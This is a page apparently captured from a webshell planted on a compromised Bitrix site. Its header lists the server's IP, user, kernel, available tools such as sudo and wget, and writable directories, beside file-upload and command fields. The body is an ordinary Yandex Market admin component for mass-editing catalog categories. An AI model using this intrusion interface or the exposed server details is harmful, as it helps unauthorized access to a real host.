403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/components/yandex.market/admin.massive.category/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/components/yandex.market/admin.massive.category/class.php
<?php
namespace Yandex\Market\Components;

use Bitrix\Main;
use Bitrix\Iblock;
use Yandex\Market\Config;
use Yandex\Market\Reference\Assert;
use Yandex\Market\Ui\Iblock\CategoryForm;
use Yandex\Market\Ui\Iblock\CategoryValue;
use Yandex\Market\Ui\Iblock\CategoryProvider;
use Yandex\Market\Utils;
use Yandex\Market\Utils\ArrayHelper;

Main\Localization\Loc::loadMessages(__FILE__);

class AdminMassiveCategory extends \CBitrixComponent
{
	const SHOW_DETAILS_LIMIT = 50;

	public function requiredModules()
	{
		return [ 'iblock' ];
	}

	public function executeComponent()
	{
		ShowError('include component unsupported');
	}

	/** @noinspection PhpUnused */
	public function formAction()
	{
		$selectedIds = $this->request->get('SELECTED');
		$iblockId = $this->request->get('IBLOCK_ID');

		Assert::isArray($selectedIds, '$_POST[SELECTED]');
		Assert::positiveInteger($iblockId, '$_POST[IBLOCK_ID]');

		$iblockId = (int)$iblockId;

		$this->checkIblockReadAccess($iblockId);

		list($propertyType, $propertyId) = $this->primaryProperty($iblockId);
		$selectedLimit = (int)Config::getOption('massive_edit_limit', 20000);
		$selected = $this->selected($selectedIds, $iblockId, $selectedLimit);
		$selectedLimited = false;

		if (count($selected) > $selectedLimit)
		{
			$selected = array_slice($selected, 0, $selectedLimit, true);
			$selectedLimited = true;
		}

		CategoryValue\ElementFetcher::preload($iblockId, array_keys($selected));

		$elementLoaders = $this->valueLoaders($iblockId, array_keys($selected));
		$selectedLoaders = $this->climbUpUntilSelected($elementLoaders, $selected);
		$parentLoaders = $this->climbUpUntilParent($selectedLoaders);

		$groups = $this->groupSelected($selectedLoaders, $elementLoaders);
		$groups = $this->splitGroupParents($groups, $parentLoaders);

		$this->formCommonResult($iblockId, $selectedLimited, $selectedLimit, $propertyType, $propertyId);
		$this->formGroupResult($groups, $elementLoaders, $selectedLoaders);

		$this->includeComponentTemplate();
	}

	private function formCommonResult($iblockId, $selectedLimited, $selectedLimit, $propertyType, $propertyId)
	{
		$this->arResult['IBLOCK_ID'] = $iblockId;
		$this->arResult['SELECTED_LIMITED'] = $selectedLimited;
		$this->arResult['SELECTED_LIMIT'] = $selectedLimit;
		$this->arResult['PROPERTY_TYPE'] = $propertyType;
		$this->arResult['PROPERTY_ID'] = $propertyId;
	}

	/**
	 * @param int[][] $groups
	 * @param array<int, CategoryValue\MemoProxy> $elementLoaders
	 * @param array<int, CategoryValue\MemoProxy> $selectedLoaders
	 */
	private function formGroupResult(array $groups, array $elementLoaders, array $selectedLoaders)
	{
		$this->arResult['GROUPS'] = [];

		foreach ($groups as $group)
		{
			$this->arResult['GROUPS'][] = $this->compileFormGroup(
				$group,
				array_intersect_key($elementLoaders, array_flip($group)),
				array_intersect_key($selectedLoaders, array_flip($group))
			);
		}
	}

	/**
	 * @param int[] $elementIds
	 * @param array<int, CategoryValue\MemoProxy> $elementLoaders
	 * @param array<int, CategoryValue\MemoProxy> $selectedLoaders
	 */
	private function compileFormGroup(array $elementIds, array $elementLoaders, array $selectedLoaders)
	{
		$elementNames = $this->elementNames($elementIds);
		$selectedLoader = reset($selectedLoaders);
		$decoratedLoader = $selectedLoader->decorated();
		$elementValues = $this->compileValues($elementLoaders, $selectedLoaders);
		$firstElementValue = reset($elementValues);
		$groupValue = [
			'CATEGORY' => isset($firstElementValue['CATEGORY']) ? $firstElementValue['CATEGORY'] : '',
			'PARAMETERS' => $this->commonParameters($elementValues),
		];
		$parentValue = CategoryValue\Facade::compile($selectedLoader->parent());
		$form = new CategoryForm\MassiveEdit($parentValue);

		if ($decoratedLoader instanceof CategoryValue\SectionValue)
		{
			$sectionId = $decoratedLoader->sectionId();

			$sectionTitle = $this->sectionName($sectionId) ?: $this->getMessage('GROUP_SECTION_UNKNOWN', [ '#ID#' => $sectionId ]);
			$sectionExpand = $this->getMessage('GROUP_SECTION_EXPAND');
		}
		else
		{
			$sectionId = 0;
			$firstElementId = reset($elementIds);
			$siblingsCount = count($elementIds) - 1;

			$sectionTitle = isset($elementNames[$firstElementId])
				? $elementNames[$firstElementId]
				: $this->getMessage('GROUP_ELEMENT_UNKNOWN', [ '#ID#' => $firstElementId ]);
			$sectionExpand = $siblingsCount > 0
				? $this->getMessage('GROUP_ELEMENT_EXPAND', [
					'#COUNT#' => $siblingsCount,
					'#UNIT#' => Utils::sklon($siblingsCount, [
						$this->getMessage('GROUP_ELEMENT_SIBLING_1'),
						$this->getMessage('GROUP_ELEMENT_SIBLING_2'),
						$this->getMessage('GROUP_ELEMENT_SIBLING_5'),
					]),
				])
				: null;
		}

		return [
			'ELEMENT_ID' => $elementIds,
			'ELEMENT_NAME' => $elementNames,
			'SECTION_ID' => $sectionId,
			'SECTION_TITLE' => $sectionTitle,
			'SECTION_EXPAND' => $sectionExpand,
			'VALUE' => $groupValue,
			'PARENT_VALUE' => $parentValue,
			'FORM_TYPE' => $form->type(),
			'FORM_FIELDS' => $form->fields(),
			'FORM_PAYLOAD' => $form->payload(),
			'THEME' => $form->theme(),
		];
	}

	private function checkIblockReadAccess($iblockId)
	{
		if (!\CIBlockRights::UserHasRightTo($iblockId, $iblockId, "iblock_admin_display"))
		{
			throw new Main\AccessDeniedException($this->getMessage('READ_ACCESS_DENIED'));
		}
	}

	private function checkElementsWriteAccess($iblockId, array $elementIds)
	{
		if (\CIBlock::GetArrayByID($iblockId, 'RIGHTS_MODE') === 'E')
		{
			foreach ($elementIds as $elementId)
			{
				if (!\CIBlockElementRights::UserHasRightTo($iblockId, $elementId, "element_edit"))
				{
					throw new Main\AccessDeniedException($this->getMessage('WRITE_ACCESS_DENIED'));
				}
			}
		}
		else if (\CIBlock::GetPermission($iblockId) < 'W')
		{
			throw new Main\AccessDeniedException($this->getMessage('WRITE_ACCESS_DENIED'));
		}
	}

	private function selected(array $ids, $iblockId, $limit)
	{
		$result = [];

		foreach ($ids as $id)
		{
			if (is_numeric($id))
			{
				$elementId = (int)$id;

				$result[$elementId] = 0;
			}
			else if (mb_strpos($id, 'E') === 0)
			{
				$elementId = (int)mb_substr($id, 1);

				$result[$elementId] = 0;
			}
			else if (mb_strpos($id, 'S') === 0)
			{
				$sectionId = (int)mb_substr($id, 1);

				$result += array_fill_keys(
					$this->sectionElements($sectionId, $iblockId, $limit),
					$sectionId
				);
			}
		}

		if (empty($result))
		{
			throw new Main\ArgumentException($this->getMessage('ELEMENTS_NOT_FOUND'));
		}

		return $result;
	}

	private function sectionElements($sectionId, $iblockId, $limit)
	{
		$sectionId = (int)$sectionId;

		if ($sectionId <= 0) { return []; }

		$result = [];
		$sections = array_merge(
			[$sectionId],
			$this->childrenSections($sectionId)
		);
		$sectionFilterName = version_compare(Main\ModuleManager::getVersion('iblock'), '20.0') !== -1
			? 'IBLOCK_SECTION_ID'
			: 'SECTION_ID';

		$queryElements = \CIBlockElement::GetList(
			[],
			[
				'IBLOCK_ID' => $iblockId,
				$sectionFilterName => $sections,
			],
			false,
			[ 'nTopCount' => $limit + 1 ],
			[ 'ID', 'IBLOCK_SECTION_ID' ]
		);

		while ($row = $queryElements->Fetch())
		{
			if (!in_array((int)$row['IBLOCK_SECTION_ID'], $sections, true))
			{
				continue;
			}

			$result[] = (int)$row['ID'];
		}

		return $result;
	}
	
	private function childrenSections($sectionId)
	{
		$section = Iblock\SectionTable::getRow([
			'filter' => [ '=ID' => $sectionId ],
			'select' => [ 'IBLOCK_ID', 'LEFT_MARGIN', 'RIGHT_MARGIN' ],
		]);

		if ($section === null) { return []; }

		return array_map('intval', array_column(Iblock\SectionTable::getList([
			'filter' => [
				'=IBLOCK_ID' => $section['IBLOCK_ID'],
				'>LEFT_MARGIN' => $section['LEFT_MARGIN'],
				'<RIGHT_MARGIN' => $section['RIGHT_MARGIN'],
			],
			'select' => [ 'ID' ],
		])->fetchAll(), 'ID'));
	}

	private function primaryProperty($iblockId)
	{
		$property = CategoryValue\PropertyRepository::property($iblockId);

		if ($property !== null)
		{
			if ($property['MULTIPLE'] === 'Y')
			{
				throw new Main\SystemException($this->getMessage('MULTIPLE_NOT_SUPPORTED'));
			}

			return [ 'element', $property['ID'] ];
		}

		$field = CategoryValue\FieldRepository::field($iblockId);

		if ($field !== null)
		{
			if ($field['MULTIPLE'] === 'Y')
			{
				throw new Main\SystemException($this->getMessage('MULTIPLE_NOT_SUPPORTED'));
			}

			return [ 'section', $field['ID'] ];
		}

		throw new Main\ObjectNotFoundException($this->getMessage('PROPERTY_NOT_FOUND'));
	}

	/** @return CategoryValue\MemoProxy[] */
	private function valueLoaders($iblockId, array $elementIds)
	{
		$result = [];
		$isOffer = $this->isOffersIblock($iblockId);

		foreach ($elementIds as $id)
		{
			$valueLoader = $isOffer
				? new CategoryValue\OfferValue($iblockId, $id)
				: new CategoryValue\ElementValue($iblockId, $id);

			$result[$id] = new CategoryValue\MemoProxy($valueLoader);
		}

		return $result;
	}

	private function isOffersIblock($iblockId)
	{
		if (Main\Loader::includeModule('catalog'))
		{
			$catalog = \CCatalogSku::GetInfoByIBlock($iblockId);

			return $catalog !== false && $catalog['CATALOG_TYPE'] === \CCatalogSku::TYPE_OFFERS;
		}

		return false;
	}

	/**
	 * @param array<int, CategoryValue\MemoProxy> $valueLoaders
	 * @param array<int, int> $selected
	 *
	 * @return array<int, CategoryValue\MemoProxy>
	 */
	private function climbUpUntilSelected(array $valueLoaders, array $selected)
	{
		$result = [];

		foreach ($valueLoaders as $elementId => $valueLoader)
		{
			if ($selected[$elementId] === 0)
			{
				$result[$elementId] = $valueLoader;
				continue;
			}

			$selectedLoader = $valueLoader;
			$level = 0;

			do
			{
				$decoratedLoader = $valueLoader->decorated();

				if (
					$decoratedLoader instanceof CategoryValue\PropertyDefault
					|| $decoratedLoader instanceof CategoryValue\FieldDefault
				) // treat as parent
				{
					break;
				}

				if (
					$decoratedLoader instanceof CategoryValue\SectionValue
					&& in_array($decoratedLoader->sectionId(), $selected, true)
				)
				{
					$selectedLoader = $valueLoader;
					break;
				}

				$value = $valueLoader->value();

				if (!empty($value['CATEGORY']) || (!empty($value['PARAMETERS']) && $level > 0))
				{
					if (
						$decoratedLoader instanceof CategoryValue\SectionValue
						&& !$this->sectionLoaderInSelectedRange($valueLoader, $selected)
					)
					{
						break;
					}

					$selectedLoader = $valueLoader;
					break;
				}

				$valueLoader = $valueLoader->parent();
				++$level;
			}
			while ($valueLoader !== null);

			$result[$elementId] = $selectedLoader;
		}

		return $result;
	}

	private function sectionLoaderInSelectedRange(CategoryValue\MemoProxy $valueLoader, array $selected)
	{
		$loopLoader = $valueLoader;

		/** @var CategoryValue\MemoProxy $loopLoader */
		while ($loopLoader = $loopLoader->parent())
		{
			$decorated = $loopLoader->decorated();

			if (!($decorated instanceof CategoryValue\SectionValue)) { break; }

			if (in_array($decorated->sectionId(), $selected, true))
			{
				return true;
			}
		}

		return false;
	}

	/**
	 * @param array<int, CategoryValue\MemoProxy> $selectedLoaders
	 *
	 * @return array<int, CategoryValue\MemoProxy>
	 */
	private function climbUpUntilParent(array $selectedLoaders)
	{
		$result = [];

		foreach ($selectedLoaders as $elementId => $valueLoader)
		{
			do
			{
				$valueLoader = $valueLoader->parent();

				if ($valueLoader === null) { break; }

				$value = $valueLoader->value();

				if (!empty($value['CATEGORY']) || !empty($value['PARAMETERS']))
				{
					$result[$elementId] = $valueLoader;
					break;
				}
			}
			while (true);
		}

		return $result;
	}

	/**
	 * @param array<int, CategoryValue\MemoProxy> $selectedLoaders
	 * @param array<int, CategoryValue\MemoProxy> $originLoaders
	 *
	 * @return int[][]
	 */
	private function groupSelected(array $selectedLoaders, array $originLoaders)
	{
		$result = [];
		$commonGroups = new \SplObjectStorage();
		$elementGroups = [];

		foreach ($selectedLoaders as $elementId => $valueLoader)
		{
			if ($valueLoader === $originLoaders[$elementId])
			{
				$value = $valueLoader->value();
				$category = !empty($value['CATEGORY']) ? (string)$value['CATEGORY'] : 0;

				if (!isset($elementGroups[$category])) { $elementGroups[$category] = []; }

				$elementGroups[$category][] = $elementId;
			}
			else
			{
				$group = $commonGroups->offsetExists($valueLoader) ? $commonGroups->offsetGet($valueLoader) : [];
				$group[] = $elementId;

				$commonGroups->offsetSet($valueLoader, $group);
			}
		}

		foreach ($commonGroups as $valueLoader)
		{
			$result[] = $commonGroups->offsetGet($valueLoader);
		}

		foreach ($elementGroups as $elementGroup)
		{
			$result[] = $elementGroup;
		}

		return $result;
	}

	/**
	 * @param int[][] $groups
	 * @param array<int, CategoryValue\MemoProxy> $parentLoaders
	 *
	 * @return int[][]
	 */
	private function splitGroupParents(array $groups, array $parentLoaders)
	{
		$result = [];

		foreach ($groups as $group)
		{
			$parentMap = new \SplObjectStorage();
			$withoutParents = [];

			foreach ($group as $elementId)
			{
				if (!isset($parentLoaders[$elementId]))
				{
					$withoutParents[] = $elementId;
					continue;
				}

				$parentLoader = $parentLoaders[$elementId];
				$group = $parentMap->offsetExists($parentLoader) ? $parentMap->offsetGet($parentLoader) : [];
				$group[] = $elementId;

				$parentMap->offsetSet($parentLoader, $group);
			}

			foreach ($parentMap as $parentLoader)
			{
				$result[] = $parentMap->offsetGet($parentLoader);
			}

			if (!empty($withoutParents))
			{
				$result[] = $withoutParents;
			}
		}

		return $result;
	}

	/**
	 * @param array<int, CategoryValue\CategoryValue> $valueLoaders
	 * @param array<int, CategoryValue\CategoryValue> $stopLoaders
	 *
	 * @return array
	 */
	private function compileValues(array $valueLoaders, array $stopLoaders)
	{
		$result = [];

		foreach ($valueLoaders as $elementId => $valueLoader)
		{
			$value = null;
			$stopLoader = $stopLoaders[$elementId];

			while ($valueLoader !== null)
			{
				$value = CategoryProvider::mergeValue($value, $valueLoader->value());

				if ($valueLoader === $stopLoader) { break; }

				if (!empty($value['CATEGORY']))
				{
					throw new Main\SystemException("Compile {$elementId} must be stopped before filled category");
				}

				$valueLoader = $valueLoader->parent();
			}

			$result[$elementId] = $value;
		}

		return $result;
	}

	private function commonParameters(array $values)
	{
		$sameMap = null;
		$parameters = null;

		foreach ($values as $value)
		{
			if (empty($value['PARAMETERS'])) { return []; }

			$parametersMap = array_column($value['PARAMETERS'], 'VALUE', 'ID');

			if ($parameters === null)
			{
				$parameters = $value['PARAMETERS'];
				$sameMap = $parametersMap;
				continue;
			}

			foreach ($sameMap as $parameterId => $parameterValue)
			{
				if (
					!isset($parametersMap[$parameterId])
					|| !$this->isSameParameterValue($parametersMap[$parameterId], $parameterValue)
				)
				{
					unset($sameMap[$parameterId]);
				}
			}

			if (empty($sameMap)) { break; }
		}

		if ($parameters === null) { return []; }

		return array_filter($parameters, static function(array $parameter) use ($sameMap) {
			return isset($sameMap[$parameter['ID']]);
		});
	}

	private function sectionName($sectionId)
	{
		$sectionId = (int)$sectionId;

		if ($sectionId <= 0) { return null; }

		$section = Iblock\SectionTable::getRow([
			'filter' => [ '=ID' => $sectionId ],
			'select' => [ 'NAME' ],
		]);

		return $section !== null ? $section['NAME'] : null;
	}

	private function elementNames(array $elementIds)
	{
		$result = [];

		foreach (array_chunk($elementIds, 500) as $elementIdsChunk)
		{
			$elements = Iblock\ElementTable::getList([
				'filter' => [ 'ID' => $elementIdsChunk ],
				'select' => [ 'ID', 'NAME' ],
			])->fetchAll();

			$result += array_column($elements, 'NAME', 'ID');
		}

		return $result;
	}

	public function saveAction()
	{
		global $APPLICATION;

		$iblockId = $this->request->get('IBLOCK_ID');
		$incomingGroups = $this->request->getPost('VALUES');

		Assert::positiveInteger($iblockId, '$_POST[IBLOCK_ID]');
		Assert::isArray($incomingGroups, '$_POST[VALUES]');

		$iblockId = (int)$iblockId;

		$this->checkIblockReadAccess($iblockId);

		foreach ($incomingGroups as $incomingGroup)
		{
			$elementIds = array_map('intval', explode(',', $incomingGroup['ELEMENT_ID']));
			$parameterIds = $incomingGroup['PARAMETER_ID'] === '' ? [] : array_map('intval', explode(',', $incomingGroup['PARAMETER_ID']));
			$sectionId = (int)$incomingGroup['SECTION_ID'];
			$value = $this->castValue($incomingGroup['VALUE']);

			CategoryValue\ElementFetcher::preload($iblockId, $elementIds);

			$this->checkElementsWriteAccess($iblockId, $elementIds);

			if ($sectionId > 0)
			{
				$this->saveSection($iblockId, $sectionId, $elementIds, $value, $parameterIds);
			}
			else
			{
				$this->saveElements($iblockId, $elementIds, $value, $parameterIds);
			}

			CategoryValue\ElementFetcher::release();
		}

		$APPLICATION->RestartBuffer();
		/** @noinspection JSUnresolvedReference */
		echo '<script> top.BX.onCustomEvent("onYandexMarketMassiveEditDone"); </script>';
		die();
	}

	private function saveSection($iblockId, $sectionId, array $elementIds, array $incoming, array $parameterIds)
	{
		$elementLoaders = $this->valueLoaders($iblockId, $elementIds);
		$sectionLoader = CategoryValue\MemoPool::get(new CategoryValue\SectionValue($iblockId, $sectionId));
		$tree = $this->treeUntilSection($elementLoaders, $sectionLoader);

		$this->updateTree(
			$sectionLoader,
			$incoming['CATEGORY'],
			ArrayHelper::columnToKey($incoming['PARAMETERS'], 'ID'),
			array_flip($parameterIds),
			$tree
		);
	}

	private function saveElements($iblockId, array $elementIds, array $incoming, array $parameterIds)
	{
		$parameters = ArrayHelper::columnToKey($incoming['PARAMETERS'], 'ID');
		$usedParametersMap = array_flip($parameterIds);

		foreach ($this->valueLoaders($iblockId, $elementIds) as $valueLoader)
		{
			$this->updateLevel($valueLoader, $incoming['CATEGORY'], $parameters, $usedParametersMap);
		}
	}

	private function updateTree(CategoryValue\CategoryValue $valueLoader, $category, array $parameters, array $usedParametersMap, \SplObjectStorage $children = null)
	{
		list($leftParameters, $usedParametersMap) = $this->updateLevel($valueLoader, $category, $parameters, $usedParametersMap);

		if ($children === null) { return; }

		foreach ($children as $child)
		{
			$this->updateTree($child, '', $leftParameters, $usedParametersMap, $children->offsetGet($child));
		}
	}

	private function updateLevel(CategoryValue\CategoryValue $valueLoader, $category, array $parameters, array $usedParametersMap)
	{
		$value = $this->castValue($valueLoader->value());
		$changed = false;

		if ($category !== $value['CATEGORY'])
		{
			$changed = true;
			$value['CATEGORY'] = $category;
		}

		foreach ($value['PARAMETERS'] as $key => $storedParameter)
		{
			if (isset($parameters[$storedParameter['ID']]))
			{
				$usedParametersMap[$storedParameter['ID']] = true;
				$parameter = $parameters[$storedParameter['ID']];

				if (!$this->isSameParameterValue($storedParameter['VALUE'], $parameter['VALUE']))
				{
					$changed = true;
					$value['PARAMETERS'][$key] = $parameter;
				}

				unset($parameters[$storedParameter['ID']]);
			}
			else if (isset($usedParametersMap[$storedParameter['ID']]))
			{
				$changed = true;
				unset($value['PARAMETERS'][$key]);
			}
		}

		$leftParameters = [];

		foreach ($parameters as $parameterId => $parameter)
		{
			if (isset($usedParametersMap[$parameterId]))
			{
				$leftParameters[$parameterId] = $parameter;
				continue;
			}

			$changed = true;
			$usedParametersMap[$parameterId] = true;
			$value['PARAMETERS'][] = $parameter;
		}

		if ($changed)
		{
			$valueLoader->save($value);
		}

		return [ $leftParameters, $usedParametersMap ];
	}

	private function treeUntilSection(array $elementLoaders, CategoryValue\CategoryValue $sectionLoader)
	{
		$tree = new \SplObjectStorage();
		$levelMap = new \SplObjectStorage();
		$levelMap->offsetSet($sectionLoader, $tree);

		foreach ($elementLoaders as $elementId => $elementLoader)
		{
			$parentChain = [];
			$levelLoader = $elementLoader->parent();
			$parent = null;

			while ($levelLoader !== null)
			{
				if ($levelMap->offsetExists($levelLoader))
				{
					$parent = $levelMap->offsetGet($levelLoader);
					break;
				}

				array_unshift($parentChain, $levelLoader);
				$levelLoader = $levelLoader->parent();
			}

			if ($parent === null)
			{
				throw new Main\SystemException("Element {$elementId} section link changed");
			}

			foreach ($parentChain as $levelLoader)
			{
				$level = new \SplObjectStorage();

				$parent->offsetSet($levelLoader, $level);
				$levelMap->offsetSet($levelLoader, $level);

				$parent = $level;
			}

			$parent->offsetSet($elementLoader);
		}

		return $tree;
	}

	private function castValue(array $value = null)
	{
		$value = CategoryProvider::sanitizeValue($value);

		if ($value === null)
		{
			return [
				'CATEGORY' => '',
				'PARAMETERS' => [],
			];
		}

		return $value;
	}

	private function isSameParameterValue($aValue, $bValue)
	{
		$aMultiple = is_array($aValue);
		$bMultiple = is_array($bValue);

		if ($aMultiple !== $bMultiple) { return false; }

		if ($aMultiple)
		{
			if (count($aValue) !== count($bValue)) { return false; }

			return count(array_diff_assoc($aValue, $bValue)) === 0;
		}

		return (string)$aValue === (string)$bValue;
	}
	
	public function getMessage($key, array $replaces = [])
	{
		$fullKey = 'YANDEX_MARKET_CATEGORY_MASSIVE_EDIT_' . $key;
		
		return Main\Localization\Loc::getMessage($fullKey, $replaces) ?: $key;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit